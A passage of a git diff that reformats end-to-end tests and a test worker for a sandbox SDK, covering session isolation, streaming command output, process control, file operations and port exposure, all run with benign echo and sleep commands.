setTimeout(resolve, 1000)); + await new Promise((resolve) => setTimeout(resolve, 1000)); // List processes from session2 - should see session1's process (shared process table) const listResponse = await fetch(`${workerUrl}/api/process/list`, { method: 'GET', - headers: createTestHeaders(currentSandboxId, session2Id), + headers: createTestHeaders(currentSandboxId, session2Id) }); expect(listResponse.status).toBe(200); @@ -441,20 +462,26 @@ describe('Session State Isolation Workflow', () => { expect(ourProcess.status).toBe('running'); // Kill the process from session2 - should work (shared process table) - const killResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'DELETE', - headers: createTestHeaders(currentSandboxId, session2Id), - }); + const killResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'DELETE', + headers: createTestHeaders(currentSandboxId, session2Id) + } + ); expect(killResponse.status).toBe(200); // Verify process is killed (check from session1) - await new Promise(resolve => setTimeout(resolve, 500)); - - const verifyResponse = await fetch(`${workerUrl}/api/process/${processId}`, { - method: 'GET', - headers: createTestHeaders(currentSandboxId, session1Id), - }); + await new Promise((resolve) => setTimeout(resolve, 500)); + + const verifyResponse = await fetch( + `${workerUrl}/api/process/${processId}`, + { + method: 'GET', + headers: createTestHeaders(currentSandboxId, session1Id) + } + ); const verifyData = await verifyResponse.json(); expect(verifyData.status).not.toBe('running'); @@ -465,11 +492,12 @@ describe('Session State Isolation Workflow', () => { // Create two sessions const session1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), - }), + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({}) + }), { timeout: 90000, interval: 2000 } ); @@ -479,7 +507,7 @@ describe('Session State Isolation Workflow', () => { const session2Response = await fetch(`${workerUrl}/api/session/create`, { method: 'POST', headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({}), + body: JSON.stringify({}) }); const session2Data = await session2Response.json(); @@ -491,8 +519,8 @@ describe('Session State Isolation Workflow', () => { headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ path: '/workspace/shared.txt', - content: 'Written by session1', - }), + content: 'Written by session1' + }) }); expect(writeResponse.status).toBe(200); @@ -502,8 +530,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - path: '/workspace/shared.txt', - }), + path: '/workspace/shared.txt' + }) }); expect(readResponse.status).toBe(200); @@ -516,8 +544,8 @@ describe('Session State Isolation Workflow', () => { headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ path: '/workspace/shared.txt', - content: 'Modified by session2', - }), + content: 'Modified by session2' + }) }); expect(modifyResponse.status).toBe(200); @@ -527,8 +555,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - path: '/workspace/shared.txt', - }), + path: '/workspace/shared.txt' + }) }); const verifyData = await verifyResponse.json(); @@ -539,8 +567,8 @@ describe('Session State Isolation Workflow', () => { method: 'DELETE', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - path: '/workspace/shared.txt', - }), + path: '/workspace/shared.txt' + }) }); }, 90000); @@ -549,13 +577,14 @@ describe('Session State Isolation Workflow', () => { // Create two sessions const session1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId), - body: JSON.stringify({ - env: { SESSION_NAME: 'session1' }, + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId), + body: JSON.stringify({ + env: { SESSION_NAME: 'session1' } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -566,8 +595,8 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId), body: JSON.stringify({ - env: { SESSION_NAME: 'session2' }, - }), + env: { SESSION_NAME: 'session2' } + }) }); const session2Data = await session2Response.json(); @@ -578,20 +607,23 @@ describe('Session State Isolation Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, session1Id), body: JSON.stringify({ - command: 'sleep 2 && echo "Completed in $SESSION_NAME"', - }), + command: 'sleep 2 && echo "Completed in $SESSION_NAME"' + }) }); const exec2Promise = fetch(`${workerUrl}/api/execute`, { method: 'POST', headers: createTestHeaders(currentSandboxId, session2Id), body: JSON.stringify({ - command: 'sleep 2 && echo "Completed in $SESSION_NAME"', - }), + command: 'sleep 2 && echo "Completed in $SESSION_NAME"' + }) }); // Wait for both to complete - const [exec1Response, exec2Response] = await Promise.all([exec1Promise, exec2Promise]); + const [exec1Response, exec2Response] = await Promise.all([ + exec1Promise, + exec2Promise + ]); // Verify both succeeded expect(exec1Response.status).toBe(200); diff --git a/tests/e2e/streaming-operations-workflow.test.ts b/tests/e2e/streaming-operations-workflow.test.ts index 9b47a3e1..136aa51c 100644 --- a/tests/e2e/streaming-operations-workflow.test.ts +++ b/tests/e2e/streaming-operations-workflow.test.ts @@ -1,6 +1,19 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; import { parseSSEStream } from '../../packages/sandbox/src/sse-parser'; import type { ExecEvent } from '@repo/shared'; @@ -47,7 +60,10 @@ describe('Streaming Operations Workflow', () => { /** * Helper to collect events from streaming response using SDK's parseSSEStream utility */ - async function collectSSEEvents(response: Response, maxEvents: number = 50): Promise { + async function collectSSEEvents( + response: Response, + maxEvents: number = 50 + ): Promise { if (!response.body) { throw new Error('No readable stream in response'); } @@ -57,7 +73,10 @@ describe('Streaming Operations Workflow', () => { const abortController = new AbortController(); try { - for await (const event of parseSSEStream(response.body, abortController.signal)) { + for await (const event of parseSSEStream( + response.body, + abortController.signal + )) { console.log('[Test] Received event:', event.type); events.push(event); @@ -75,7 +94,10 @@ describe('Streaming Operations Workflow', () => { } } catch (error) { // Ignore abort errors (expected when we stop early) - if (error instanceof Error && error.message !== 'Operation was aborted') { + if ( + error instanceof Error && + error.message !== 'Operation was aborted' + ) { throw error; } } @@ -90,18 +112,21 @@ describe('Streaming Operations Workflow', () => { // Stream a command that outputs multiple lines const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "Line 1"; echo "Line 2"; echo "Line 3"', + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "Line 1"; echo "Line 2"; echo "Line 3"' + }) }), - }), { timeout: 90000, interval: 2000 } ); expect(streamResponse.status).toBe(200); - expect(streamResponse.headers.get('content-type')).toBe('text/event-stream'); + expect(streamResponse.headers.get('content-type')).toBe( + 'text/event-stream' + ); // Collect events from stream const events = await collectSSEEvents(streamResponse); @@ -136,13 +161,14 @@ describe('Streaming Operations Workflow', () => { // Stream a command that outputs to both stdout and stderr (wrap in bash -c for >&2) const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'echo stdout message; echo stderr message >&2'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: "bash -c 'echo stdout message; echo stderr message >&2'" + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -174,13 +200,14 @@ describe('Streaming Operations Workflow', () => { const headers = createTestHeaders(currentSandboxId); const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "Hello Streaming"', + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "Hello Streaming"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -210,13 +237,14 @@ describe('Streaming Operations Workflow', () => { // Stream a command that fails const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'false', // Always fails with exit code 1 + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'false' // Always fails with exit code 1 + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -234,13 +262,14 @@ describe('Streaming Operations Workflow', () => { // Initialize sandbox first await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "init"', + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "init"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -249,13 +278,15 @@ describe('Streaming Operations Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'nonexistentcommand123', - }), + command: 'nonexistentcommand123' + }) }); // Should return 200 (streaming started successfully) expect(streamResponse.status).toBe(200); - expect(streamResponse.headers.get('content-type')).toBe('text/event-stream'); + expect(streamResponse.headers.get('content-type')).toBe( + 'text/event-stream' + ); // Collect events from stream const events = await collectSSEEvents(streamResponse); @@ -280,13 +311,14 @@ describe('Streaming Operations Workflow', () => { // Stream a command that sets and uses a variable within the same bash invocation const streamResponse1 = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'STREAM_VAR=streaming-value; echo $STREAM_VAR'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: "bash -c 'STREAM_VAR=streaming-value; echo $STREAM_VAR'" + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -306,13 +338,15 @@ describe('Streaming Operations Workflow', () => { // Stream a command that outputs over time (wrap in bash -c for loop) const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'for i in 1 2 3 4 5; do echo \"Count: $i\"; sleep 0.2; done'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: + 'bash -c \'for i in 1 2 3 4 5; do echo "Count: $i"; sleep 0.2; done\'' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -340,13 +374,14 @@ describe('Streaming Operations Workflow', () => { // Initialize with first request await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'echo "init"', + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'echo "init"' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -355,20 +390,23 @@ describe('Streaming Operations Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'echo "Stream 1"; sleep 1; echo "Stream 1 done"', - }), + command: 'echo "Stream 1"; sleep 1; echo "Stream 1 done"' + }) }); const stream2Promise = fetch(`${workerUrl}/api/execStream`, { method: 'POST', headers, body: JSON.stringify({ - command: 'echo "Stream 2"; sleep 1; echo "Stream 2 done"', - }), + command: 'echo "Stream 2"; sleep 1; echo "Stream 2 done"' + }) }); // Wait for both streams to start - const [stream1Response, stream2Response] = await Promise.all([stream1Promise, stream2Promise]); + const [stream1Response, stream2Response] = await Promise.all([ + stream1Promise, + stream2Promise + ]); expect(stream1Response.status).toBe(200); expect(stream2Response.status).toBe(200); @@ -376,7 +414,7 @@ describe('Streaming Operations Workflow', () => { // Collect events from both streams const [events1, events2] = await Promise.all([ collectSSEEvents(stream1Response), - collectSSEEvents(stream2Response), + collectSSEEvents(stream2Response) ]); // Verify both completed successfully @@ -389,8 +427,14 @@ describe('Streaming Operations Workflow', () => { expect(complete2?.exitCode).toBe(0); // Verify outputs didn't mix - const output1 = events1.filter((e) => e.type === 'stdout').map((e) => e.data).join(''); - const output2 = events2.filter((e) => e.type === 'stdout').map((e) => e.data).join(''); + const output1 = events1 + .filter((e) => e.type === 'stdout') + .map((e) => e.data) + .join(''); + const output2 = events2 + .filter((e) => e.type === 'stdout') + .map((e) => e.data) + .join(''); expect(output1).toContain('Stream 1'); expect(output1).not.toContain('Stream 2'); @@ -403,16 +447,17 @@ describe('Streaming Operations Workflow', () => { // Create a session with environment variables const sessionResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/session/create`, { - method: 'POST', - headers: createTestHeaders(currentSandboxId ?? ''), - body: JSON.stringify({ - env: { - SESSION_ID: 'test-session-streaming', - NODE_ENV: 'test', - }, + async () => + fetchWithStartup(`${workerUrl}/api/session/create`, { + method: 'POST', + headers: createTestHeaders(currentSandboxId ?? ''), + body: JSON.stringify({ + env: { + SESSION_ID: 'test-session-streaming', + NODE_ENV: 'test' + } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -427,8 +472,8 @@ describe('Streaming Operations Workflow', () => { method: 'POST', headers: createTestHeaders(currentSandboxId, sessionId), body: JSON.stringify({ - command: 'echo "Session: $SESSION_ID, Env: $NODE_ENV"', - }), + command: 'echo "Session: $SESSION_ID, Env: $NODE_ENV"' + }) }); const events = await collectSSEEvents(streamResponse); @@ -445,7 +490,6 @@ describe('Streaming Operations Workflow', () => { expect(completeEvent?.exitCode).toBe(0); }, 90000); - test('should handle 15+ second streaming command', async () => { currentSandboxId = createSandboxId(); const headers = createTestHeaders(currentSandboxId); @@ -454,13 +498,15 @@ describe('Streaming Operations Workflow', () => { // Stream a command that runs for 15+ seconds with output every 2 seconds const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'for i in {1..8}; do echo \"Tick $i at $(date +%s)\"; sleep 2; done; echo \"SUCCESS\"'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: + 'bash -c \'for i in {1..8}; do echo "Tick $i at $(date +%s)"; sleep 2; done; echo "SUCCESS"\'' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -490,7 +536,9 @@ describe('Streaming Operations Workflow', () => { expect(completeEvent).toBeDefined(); expect(completeEvent?.exitCode).toBe(0); - console.log('[Test] โœ… Streaming command completed successfully after 16+ seconds!'); + console.log( + '[Test] โœ… Streaming command completed successfully after 16+ seconds!' + ); }, 90000); test('should handle high-volume streaming over extended period', async () => { @@ -502,13 +550,15 @@ describe('Streaming Operations Workflow', () => { // Stream command that generates many lines over 10+ seconds // Tests throttling: renewActivityTimeout shouldn't be called for every chunk const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'for i in {1..100}; do echo \"Line $i: $(date +%s.%N)\"; sleep 0.1; done'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: + 'bash -c \'for i in {1..100}; do echo "Line $i: $(date +%s.%N)"; sleep 0.1; done\'' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -542,13 +592,15 @@ describe('Streaming Operations Workflow', () => { // Command with gaps between output bursts // Tests that activity renewal works even when output is periodic const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: "bash -c 'echo \"Burst 1\"; sleep 3; echo \"Burst 2\"; sleep 3; echo \"Burst 3\"; sleep 3; echo \"Complete\"'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: + 'bash -c \'echo "Burst 1"; sleep 3; echo "Burst 2"; sleep 3; echo "Burst 3"; sleep 3; echo "Complete"\'' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -584,21 +636,23 @@ describe('Streaming Operations Workflow', () => { // Add keepAlive header to keep container alive during long execution const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; console.log('[Test] Starting 60+ second command via streaming...'); // With streaming, it should complete successfully const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - // Command that runs for 60+ seconds with periodic output - command: "bash -c 'for i in {1..12}; do echo \"Minute mark $i\"; sleep 5; done; echo \"COMPLETED\"'", + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + // Command that runs for 60+ seconds with periodic output + command: + 'bash -c \'for i in {1..12}; do echo "Minute mark $i"; sleep 5; done; echo "COMPLETED"\'' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -638,20 +692,21 @@ describe('Streaming Operations Workflow', () => { // Add keepAlive header to keep container alive during long sleep const keepAliveHeaders = { ...headers, - 'X-Sandbox-KeepAlive': 'true', + 'X-Sandbox-KeepAlive': 'true' }; console.log('[Test] Testing sleep 45 && echo "done" pattern...'); // This is the exact pattern that was failing before const streamResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execStream`, { - method: 'POST', - headers: keepAliveHeaders, - body: JSON.stringify({ - command: 'sleep 45 && echo "done"', + async () => + fetchWithStartup(`${workerUrl}/api/execStream`, { + method: 'POST', + headers: keepAliveHeaders, + body: JSON.stringify({ + command: 'sleep 45 && echo "done"' + }) }), - }), { timeout: 90000, interval: 2000 } ); diff --git a/tests/e2e/test-worker/index.ts b/tests/e2e/test-worker/index.ts index 19ad1522..ef4c9567 100644 --- a/tests/e2e/test-worker/index.ts +++ b/tests/e2e/test-worker/index.ts @@ -4,7 +4,12 @@ * Exposes SDK methods via HTTP endpoints for E2E testing. * Supports both default sessions (implicit) and explicit sessions via X-Session-Id header. */ -import { Sandbox, getSandbox, proxyToSandbox, connect } from '@cloudflare/sandbox'; +import { + Sandbox, + getSandbox, + proxyToSandbox, + connect +} from '@cloudflare/sandbox'; export { Sandbox }; interface Env { @@ -30,14 +35,15 @@ export default { // Get sandbox ID from header // Sandbox ID determines which container instance (Durable Object) - const sandboxId = request.headers.get('X-Sandbox-Id') || 'default-test-sandbox'; + const sandboxId = + request.headers.get('X-Sandbox-Id') || 'default-test-sandbox'; // Check if keepAlive is requested const keepAliveHeader = request.headers.get('X-Sandbox-KeepAlive'); const keepAlive = keepAliveHeader === 'true'; const sandbox = getSandbox(env.Sandbox, sandboxId, { - keepAlive, + keepAlive }) as Sandbox; // Get session ID from header (optional) @@ -47,15 +53,15 @@ export default { // Executor pattern: retrieve session fresh if specified, otherwise use sandbox // Important: We get the session fresh on EVERY request to respect RPC lifecycle // The ExecutionSession stub is only valid during this request's execution context - const executor = sessionId - ? await sandbox.getSession(sessionId) - : sandbox; + const executor = sessionId ? await sandbox.getSession(sessionId) : sandbox; try { // WebSocket init endpoint - starts all WebSocket servers if (url.pathname === '/api/init' && request.method === 'POST') { const processes = await sandbox.listProcesses(); - const runningServers = new Set(processes.filter(p => p.status === 'running').map(p => p.id)); + const runningServers = new Set( + processes.filter((p) => p.status === 'running').map((p) => p.id) + ); const serversToStart = []; @@ -79,7 +85,9 @@ console.log('Echo server on port ' + port); `; await sandbox.writeFile('/tmp/ws-echo.ts', echoScript); serversToStart.push( - sandbox.startProcess('bun run /tmp/ws-echo.ts', { processId: 'ws-echo-8080' }) + sandbox.startProcess('bun run /tmp/ws-echo.ts', { + processId: 'ws-echo-8080' + }) ); } @@ -140,7 +148,9 @@ console.log('Code server on port ' + port); `; await sandbox.writeFile('/tmp/ws-code.ts', codeScript); serversToStart.push( - sandbox.startProcess('bun run /tmp/ws-code.ts', { processId: 'ws-code-8081' }) + sandbox.startProcess('bun run /tmp/ws-code.ts', { + processId: 'ws-code-8081' + }) ); } @@ -177,27 +187,42 @@ console.log('Terminal server on port ' + port); `; await sandbox.writeFile('/tmp/ws-terminal.ts', terminalScript); serversToStart.push( - sandbox.startProcess('bun run /tmp/ws-terminal.ts', { processId: 'ws-terminal-8082' }) + sandbox.startProcess('bun run /tmp/ws-terminal.ts', { + processId: 'ws-terminal-8082' + }) ); } // Start all servers and track results const results = await Promise.allSettled(serversToStart); - const failedCount = results.filter(r => r.status === "rejected").length; - const succeededCount = results.filter(r => r.status === "fulfilled").length; - - return new Response(JSON.stringify({ - success: failedCount === 0, - serversStarted: succeededCount, - serversFailed: failedCount, - errors: failedCount > 0 ? results - .filter(r => r.status === "rejected") - .map(r => (r as PromiseRejectedResult).reason?.message || String((r as PromiseRejectedResult).reason)) - : undefined - }), { - headers: { 'Content-Type': 'application/json' }, - status: failedCount > 0 ? 500 : 200 - }); + const failedCount = results.filter( + (r) => r.status === 'rejected' + ).length; + const succeededCount = results.filter( + (r) => r.status === 'fulfilled' + ).length; + + return new Response( + JSON.stringify({ + success: failedCount === 0, + serversStarted: succeededCount, + serversFailed: failedCount, + errors: + failedCount > 0 + ? results + .filter((r) => r.status === 'rejected') + .map( + (r) => + (r as PromiseRejectedResult).reason?.message || + String((r as PromiseRejectedResult).reason) + ) + : undefined + }), + { + headers: { 'Content-Type': 'application/json' }, + status: failedCount > 0 ? 500 : 200 + } + ); } // WebSocket endpoints @@ -217,7 +242,7 @@ console.log('Terminal server on port ' + port); // Health check if (url.pathname === '/health') { return new Response(JSON.stringify({ status: 'ok' }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -225,33 +250,43 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/session/create' && request.method === 'POST') { const session = await sandbox.createSession(body); // Note: We don't store the session - it will be retrieved fresh via getSession() on each request - return new Response(JSON.stringify({ success: true, sessionId: session.id }), { - headers: { 'Content-Type': 'application/json' }, - }); + return new Response( + JSON.stringify({ success: true, sessionId: session.id }), + { + headers: { 'Content-Type': 'application/json' } + } + ); } // Command execution if (url.pathname === '/api/execute' && request.method === 'POST') { const result = await executor.exec(body.command); return new Response(JSON.stringify(result), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Command execution with streaming if (url.pathname === '/api/execStream' && request.method === 'POST') { - console.log('[TestWorker] execStream called for command:', body.command); + console.log( + '[TestWorker] execStream called for command:', + body.command + ); const startTime = Date.now(); const stream = await executor.execStream(body.command); - console.log('[TestWorker] Stream received in', Date.now() - startTime, 'ms'); + console.log( + '[TestWorker] Stream received in', + Date.now() - startTime, + 'ms' + ); // Return SSE stream directly return new Response(stream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - }, + Connection: 'keep-alive' + } }); } @@ -259,10 +294,10 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/git/clone' && request.method === 'POST') { await executor.gitCheckout(body.repoUrl, { branch: body.branch, - targetDir: body.targetDir, + targetDir: body.targetDir }); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -270,7 +305,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/read' && request.method === 'POST') { const file = await executor.readFile(body.path); return new Response(JSON.stringify(file), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -281,8 +316,8 @@ console.log('Terminal server on port ' + port); headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - }, + Connection: 'keep-alive' + } }); } @@ -290,7 +325,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/write' && request.method === 'POST') { await executor.writeFile(body.path, body.content); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -298,7 +333,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/mkdir' && request.method === 'POST') { await executor.mkdir(body.path, { recursive: body.recursive }); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -306,7 +341,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/delete' && request.method === 'DELETE') { await executor.deleteFile(body.path); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -314,7 +349,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/rename' && request.method === 'POST') { await executor.renameFile(body.oldPath, body.newPath); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -322,7 +357,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/move' && request.method === 'POST') { await executor.moveFile(body.sourcePath, body.destinationPath); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -330,7 +365,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/list-files' && request.method === 'POST') { const result = await executor.listFiles(body.path, body.options); return new Response(JSON.stringify(result), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -338,7 +373,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/file/exists' && request.method === 'POST') { const result = await executor.exists(body.path); return new Response(JSON.stringify(result), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -346,7 +381,7 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/process/start' && request.method === 'POST') { const process = await executor.startProcess(body.command); return new Response(JSON.stringify(process), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -354,12 +389,15 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/process/list' && request.method === 'GET') { const processes = await executor.listProcesses(); return new Response(JSON.stringify(processes), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Process get by ID - if (url.pathname.startsWith('/api/process/') && request.method === 'GET') { + if ( + url.pathname.startsWith('/api/process/') && + request.method === 'GET' + ) { const pathParts = url.pathname.split('/'); const processId = pathParts[3]; @@ -367,7 +405,7 @@ console.log('Terminal server on port ' + port); if (pathParts[4] === 'logs') { const logs = await executor.getProcessLogs(processId); return new Response(JSON.stringify(logs), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } @@ -387,15 +425,15 @@ console.log('Terminal server on port ' + port); } catch (error) { controller.error(error); } - }, + } }); return new Response(readableStream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - }, + Connection: 'keep-alive' + } }); } @@ -403,65 +441,82 @@ console.log('Terminal server on port ' + port); if (!pathParts[4]) { const process = await executor.getProcess(processId); return new Response(JSON.stringify(process), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } } // Process kill by ID - if (url.pathname.startsWith('/api/process/') && request.method === 'DELETE') { + if ( + url.pathname.startsWith('/api/process/') && + request.method === 'DELETE' + ) { const processId = url.pathname.split('/')[3]; await executor.killProcess(processId); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Kill all processes - if (url.pathname === '/api/process/kill-all' && request.method === 'POST') { + if ( + url.pathname === '/api/process/kill-all' && + request.method === 'POST' + ) { await executor.killAllProcesses(); return new Response(JSON.stringify({ success: true }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Port exposure (ONLY works with sandbox - sessions don't expose ports) if (url.pathname === '/api/port/expose' && request.method === 'POST') { if (sessionId) { - return new Response(JSON.stringify({ - error: 'Port exposure not supported for explicit sessions. Use default sandbox.' - }), { - status: 400, - headers: { 'Content-Type': 'application/json' }, - }); + return new Response( + JSON.stringify({ + error: + 'Port exposure not supported for explicit sessions. Use default sandbox.' + }), + { + status: 400, + headers: { 'Content-Type': 'application/json' } + } + ); } // Extract hostname from the request const hostname = url.hostname + (url.port ? `:${url.port}` : ''); const preview = await sandbox.exposePort(body.port, { name: body.name, - hostname: hostname, + hostname: hostname }); return new Response(JSON.stringify(preview), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } // Port unexpose (ONLY works with sandbox - sessions don't expose ports) - if (url.pathname.startsWith('/api/exposed-ports/') && request.method === 'DELETE') { + if ( + url.pathname.startsWith('/api/exposed-ports/') && + request.method === 'DELETE' + ) { if (sessionId) { - return new Response(JSON.stringify({ - error: 'Port exposure not supported for explicit sessions. Use default sandbox.' - }), { - status: 400, - headers: { 'Content-Type': 'application/json' }, - }); + return new Response( + JSON.stringify({ + error: + 'Port exposure not supported for explicit sessions. Use default sandbox.' + }), + { + status: 400, + headers: { 'Content-Type': 'application/json' } + } + ); } const pathParts = url.pathname.split('/'); const port = parseInt(pathParts[3], 10); if (!Number.isNaN(port)) { await sandbox.unexposePort(port); return new Response(JSON.stringify({ success: true, port }), { - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } }); } } @@ -470,33 +525,42 @@ console.log('Terminal server on port ' + port); if (url.pathname === '/api/env/set' && request.method === 'POST') { await 